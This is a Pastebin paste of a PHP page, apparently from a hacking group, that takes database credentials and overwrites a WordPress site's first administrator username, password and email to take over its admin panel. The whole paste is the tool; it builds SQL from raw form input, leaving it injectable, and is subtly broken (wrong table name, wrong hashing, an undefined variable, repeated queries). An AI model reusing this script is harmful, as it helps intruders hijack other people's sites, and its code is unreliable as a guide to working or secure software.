SHARE
TWEET

script Change Password of Admin Wordpress

Inconnu-Dz May 7th, 2016 102 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2. <head>
  3. <title>Change Password of Admin Wordpress</title>
  4. <center><font color="red" size="7">Coded By Inconnu Dz</font></center><br><br>
  5. <body bgcolor="black" text="white"><br><br>
  6. <center><font color="green" size="5">### Change Password of Admin Wordpress ###</font></center>
  7. </br><center><br><br> <?php //#Inconnu Dz#//  
  8. if (empty($_POST['pwd'])){
  9. echo '<form method="post">
  10. host : <input name="localhost" size="15" value="localhost" type="text">
  11. database : <input name="database" size="15" type="text"><br>
  12. username : <input name="username" size="15" type="text">
  13. password : <input name="password" size="15" type="password"><br>
  14.         <br></br>
  15. Set A New username 4 login : <input name="user" size="15" value="SQL"><br>
  16. Set A New password 4 login : <input name="pwd" size="15" value="SQL"><br>
  17.         <br></br>
  18. <input value="change" name="send" type="submit">
  19. </form>';
  20. }else{
  21. $localhost = $_POST['localhost'];
  22. $database = $_POST['database'];
  23. $username = $_POST['username'];
  24. $password = $_POST['password'];
  25. $user = $_POST['user'];
  26. $pwd = $_POST['pwd'];
  27.  
  28.            @mysql_connect($localhost,$username,$password) or die (mysql_error ());
  29.            @mysql_select_db($database) or die (mysql_error ());
  30.  
  31. $hash = crypt($pwd);
  32. $dz1=@mysql_query("UPDATE wp_user SET user_login ='".$user."' WHERE ID = 1");
  33. $dz1=@mysql_query("UPDATE wp_user SET user_pass ='".$hash."' WHERE ID = 1");
  34. $dz1=@mysql_query("UPDATE wp_user SET user_login ='".$user."' WHERE ID = 1");
  35. $dz1=@mysql_query("UPDATE wp_user SET user_pass ='".$hash."' WHERE ID = 1");
  36. $dz1=@mysql_query("UPDATE wp_user SET user_login ='".$user."' WHERE ID = 1");
  37. $dz1=@mysql_query("UPDATE wp_user SET user_email ='".$SQL."' WHERE ID = 1");
  38. if ($dz1) {
  39. echo '<b>Success :now use a new user and pass 2 login in the admin panel</b><br><br>';
  40. }
  41.  
  42. }
  43.  
  44. ?> </center><br></br>
  45. <br><br><center><a href="https://www.facebook.com/ghost.attack.dz" class="style2"><font color="green" size="4" face="impact">Connect :p :</a><center>
  46. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top